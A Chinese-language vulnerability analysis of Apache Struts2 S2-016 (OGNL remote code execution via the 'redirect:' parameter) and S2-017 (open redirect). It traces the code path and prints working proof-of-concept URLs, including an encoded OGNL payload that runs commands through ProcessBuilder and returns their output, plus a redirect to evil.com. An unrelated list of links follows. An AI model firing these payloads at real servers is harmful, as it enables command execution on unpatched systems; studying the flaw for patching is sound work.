前言

由于S2-016、S2-017出现的原因时相同的,只是由于poc不一样,造成了不同的攻击。S2-016是RCE,S2-017是开发型重定向漏洞。这里将两个漏洞放一起分析。另外“Struts2系列起始篇”是我整各系列的核心,希望大家能花些时间先看看。

正文

在起始篇中我们讲到过,Struts2在StrutsPrepareFilter中通过DefaultActionMapper.getMapping获取action对应的action mapper时会调用handleSpecialParameters对请求的url后面的特殊参数做判断。跟进getMapping函数

跟进handleSpecialParameters方法:

在362行处,prefixTrie实际上就是一个类似Map<String,Object>的数据结构(具体实现不重要),在DefaultActionMapper的构造函数中就已经初始化了prefixTrie。

可以看到prefixTrie有资格key,分别是method:、action:、redirect:、redirect-action:。当请求参数中有这四个参数中的某一个时,将会调用对应的value(一个ParameterAction)的execute方法。我们看一下官方的介绍,可以知道action:、redirect:、redirect-action:这三个是有问题的。

我们选择其中的“redirect: ”跟进对应的execute方法就好了

方法内先是创建了一个ServletRedirectResult对象,然后调用ServletRedirectResult的sertLocation方法设置跳转的url(可以看到是用的url后面的redirect参数分割后赋值的,假设我们访问"http://localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:xxx",那么action mapper的location就是”xxx“),最后将该ServletRedirectResult放入action mapper中,到这里两个漏洞的source点就分析出来了。
    我们在第一篇文章中讲过,在Dispatcher.serviceaction()执行action前都会判断actionmapper中是否有result属性,有的话将调用result的execute方法而不会进入action中了。

由于这里分析起来较为麻烦,也难以说清楚,我们访问"http://localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:xxx"后直接debug

F5步入,发现先是进入了StrutsResultSupport的execute方法,这是因为StrutsResultSupport是ServletRedirectResult的父类,而ServletRedirectResult自己有没有实现execute方法。

方法中先是调用conditionalParse解析location,再调用ServletRedirectResult.doExecute进行真正的跳转。跟进conditionalParse方法中:

继续F5步入进入TextParseUtil.translateVariables方法中,发现其调用了translateVariables,其中初始化了一个char[]是”%“和"$",这是方便后面识别表达式(S2-027中就是因为ActionSupport类中的getText方法调用了此方法导致ognl表达式执行,ActionSupport是所有Action的父类,后面将不再分析此漏洞)

继续跟进:

方法很长,但是内容很简单,大致就是判断location是否是表达式,如果是则进入stack.findValue(),由于这里我们的POC中location是”xxx“,所以我们进不去,先不管,之后我们改下poc再进这个方法中看看。回到StrutsResultSupport的execute方法中,这个时候我们知道了原来conditionalParse解析location就是判断location是不是ognl表达式,然后进入了ServletRedirectResult.doExecute方法中

OK!到这里,S2-017这个开放型重定向漏洞就被分析出来了,我们只需改下poc,让location为“http://www.baidu.com”就好了。"localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:http://www.evil.com"

回到之前我们没有进去的代码,现在我们再将poc修改下,让location以”${“开头以”}“结尾,进入循环代码,访问”localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:${xxxx}“,发现后台tomcat报错了

这是由于url中不让有特殊字符,需要url编码,这个时候有经验的朋友可能会问:”为什么我以前利用S2的其他漏洞,ognl表达式都没有url编码,照样能用呢?“,我看过其他朋友关于S2-016的分析,也都遇到这个问题了,就是S2-016不编码的poc用不了。

这里我简单的测试了一下并没有得出结论,最开始以为是浏览器识别时发现没有“=”不会自动进行url编码,后来经测试发现压根就不是这样的。不过从上面报出的异常栈中可以看到,请求压根没到struts2,是tomcat报错了,所以我觉得应该和漏洞本身无关。不过貌似不管怎样poc最好还是url编码下吧。。。

将poc修改下,重新访问”localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:%24%7Bxxxx%7D“

debug一下能发现这里的值栈其实是OgnlValueStack,我们在第一篇文章中也讲过,创建值栈时创建的是其默认实现类OgnlValueStack。F5步入:

可以看到表达式参数expr就是”xxxx“,继续跟进ognlUtil.getValue

到这里就可以看到将会执行ognl表达式了。至于为什么,后面会专门介绍OGNL的。现在我们将poc修改成如下”localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:%24%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%27cmd.exe%27%2C%20%27%2fc%27%2C%27ipconfig%27%7D%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B500%5D%2C%23d.read%28%23e%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D“
    访问会提示下载,下载下来打开里面就是执行的代码结果了。

OGNL表达式

其实百度百科就已经说的比较清楚了,看下介绍:

可以看到OGNL就是用来访问对象且可以调用对象的方法的,如果我们能访问ProcessBuilder、Runtime这些对象并调用他们的方法岂不是就可以执行任意命令了。

先看下OGNL表达式的语法:

上面对Ognl表达式的用法做了些简单的介绍,至于为什么Ognl.getValue会执行表达式,这个需要看OGNL源码才型,感觉在这里分析它没有必要。知道了上面这些用法就足以让我们理解poc和写poc了。值得注意的是早期S2的漏洞中使用的POC都是通过  
”**@[类全名(包括包路径)]@[方法名 |  值名**“ 
来获取ProcessBuilder、Runtime这些对象的,后来struts2禁用了静态方法调用,所以大家将poc改为直接new
一个ProcessBuilder或Runtime来执行命令。现在我们将上面的poc url解码后分析下:
    ${#a=(new
java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe',
'/c','ipconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new

char[500],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
    看起来好像代码很多,实际上就是new一个ProcessBuilder对象执行了ipconfig命令,然后将输出结果用io流读取后通过HttpServletResponse返回。也可以使用如下较为简单的方法进行验证漏洞是否存在(记住需要url编码):
${#p=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#p.println("hacker"),#p.close()}

S2-018

这里不打算分析S2-018了,只是简单的提一下,我们分析S2-016和S2-017时是通过跟进"redirect:"这个特殊的参数来分析的,实际上”redirect-action“和”action:“也有问题,其中S2-018就和”action:“相关,看下官方介绍:

大概意思就是通过指定”action:“可以越权,由于漏洞影响不大,我没有分析它,感兴趣的小伙伴可以自行跟进

修复方法

S2-016、S2-017、S2-018影响范围在Struts 2.0.0 - Struts 2.3.15.2 。Struts 2.3.15.3的版本中已经将这三个特殊参数都删除了

参考文章

https://cwiki.apache.org/confluence/display/WW/Security+Bulletins

https://blog.csdn.net/u011721501/article/details/41735885

https://www.jianshu.com/p/298a2cb12403

S2-016、S2-017的更多相关文章

  1. 电源相关知识—S0、S1(POS)、S2、S3(STR)、 S4、S5、睡眠、休眠、待机

    转 http://blog.sina.com.cn/s/blog_52f28dde0100l3ci.html APM https://en.wikipedia.org/wiki/Advanced_Po ...

  2. 016、Dockerfile 常用命令(2019-01-07 周一)

    参考https://www.cnblogs.com/CloudMan6/p/6864000.html   Dokcerfile常见命令   FROM     指定base镜像   MAINTAINER ...

  3. 016、Java中使用小数

    01.代码如下: package TIANPAN; /** * 此处为文档注释 * * @author 田攀 微信382477247 */ public class TestDemo { public ...

  4. 016、MySQL取本年第一季度开始日期

    #取第1季度开始日期 SELECT date_add( dy, INTERVAL ( ) MONTH ) dy FROM ( ) dy ) x ; 效果如下: 不忘初心,如果您认为这篇文章有价值,认同 ...

  5. Java数据结构和算法(六)——前缀、中缀、后缀表达式

    前面我们介绍了三种数据结构,第一种数组主要用作数据存储,但是后面的两种栈和队列我们说主要作为程序功能实现的辅助工具,其中在介绍栈时我们知道栈可以用来做单词逆序,匹配关键字符等等,那它还有别的什么功能吗 ...

  6. Java数据结构和算法(六):前缀、中缀、后缀表达式

    前面我们介绍了三种数据结构,第一种数组主要用作数据存储,但是后面的两种栈和队列我们说主要作为程序功能实现的辅助工具,其中在介绍栈时我们知道栈可以用来做单词逆序,匹配关键字符等等,那它还有别的什么功能吗 ...

  7. C语言--关键字 typedef

    一.typedef 1.基本使用 1> typedef 在基本数据类型中的使用 typedef int MyInt; // 相当于给 int 起了一个别名 typedef MyInt MyInt ...

  8. CCIE路由实验(8) -- QoS

    1.查看端口缺省的队列机制2.配置CB-WFQ3.配置CB-LLQ4.配置CB-Shapping在以太接口下5.配置CB-Shapping在FR接口下6.配置帧中继流量整形FRTS7.配置CB-Pol ...

  9. Pyhton编程(四)之基本数据类型-字符串详解

    一:字符串是什么? 字符串是Python最常用的一种数据类型,虽然看似简单,但能够以不同的方式来使用它们. 字符串就是一系列的字符,在Python中,用引号括起来的都是字符串,其中的引号可以是单引号, ...

  10. 一个对象toString()方法如果没有被重写,那么默认调用它的父类Object的toString()方法,而Object的toString()方法是打印该对象的hashCode,一般hashCode就是此对象的内存地址

    昨天因为要从JFrame控件获取密码,注意到一个问题,那就是用toString方法得到的不一定是你想要的,如下: jPasswordField是JFrame中的密码输入框,如果用下面的方法是得不到密码 ...

随机推荐

  1. zblog上传安装主题插件不成功的原因和解决办法

    最近有不少zblog用户反映在后台上传安装主题或者插件的时候出现了问题.本文就来尝试说明下这类问题的原因和解决办法. 首先来说说zblog主题或者插件的安装方法,一共有三种方式: 第一种是直接在网站后 ...

  2. Expression: __acrt_first_block == header

    File: minkernel\crts\ucrt\src\appcrt\heap\debug_heap.cpp Line: 996 Expression: __acrt_first_block == ...

  3. Linux -- 如何减少IO过程中的CPU copy

    四种I/O方式的对比 1. Buffered I/O read(file, tmp_buf, len); write(socket, tmp_buf, len); 上下文切换:4次 CPU copy: ...

  4. Java如何获取ResultSet结果中的每一列的数据类型

    示例代码片段: ResultSet resultSet = statement.executeQuery(sql); ResultSetMetaData metaData = resultSet.ge ...

  5. Ubuntu LVS DR模式生产环境部署

    1.环境说明 系统版本:ubuntu14.04 LVS服务器:14.17.64.3 真实服务器:14.17.64.4-12 VIP:14.17.64.13 部署目的:用户请求14.17.64.13的报 ...

  6. 什么是挂载(mount)?

    官方文档是这么解释的: All files accessible in a Unix system are arranged in one big tree, the file hierarchy, ...

  7. Jquery回到顶部插件【query.scrollUp.js】使用

    <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta na ...

  8. JAVA第09次实验(IO流)

    JAVA第09次实验(IO流) 0.字节流与二进制文件 我的代码 import java.io.DataInputStream; import java.io.DataOutputStream; im ...

  9. Yii错误异常处理

    目录 背景 web错误处理 console错误处理 背景 当程序中出现不可预期的错误,比如说除0异常,yii会给我们扔出这个异常信息,由于现在都是读写分离,客户端调你的api,都是协商好的数据格式,如 ...

  10. git使用中的一些命令及心得

    Git 与 SVN 区别点: 1.Git 是分布式的,SVN 不是:这是 Git 和其它非分布式的版本控制系统,例如 SVN,CVS 等,最核心 的区别. 2.Git 把内容按元数据方式存储,而 SV ...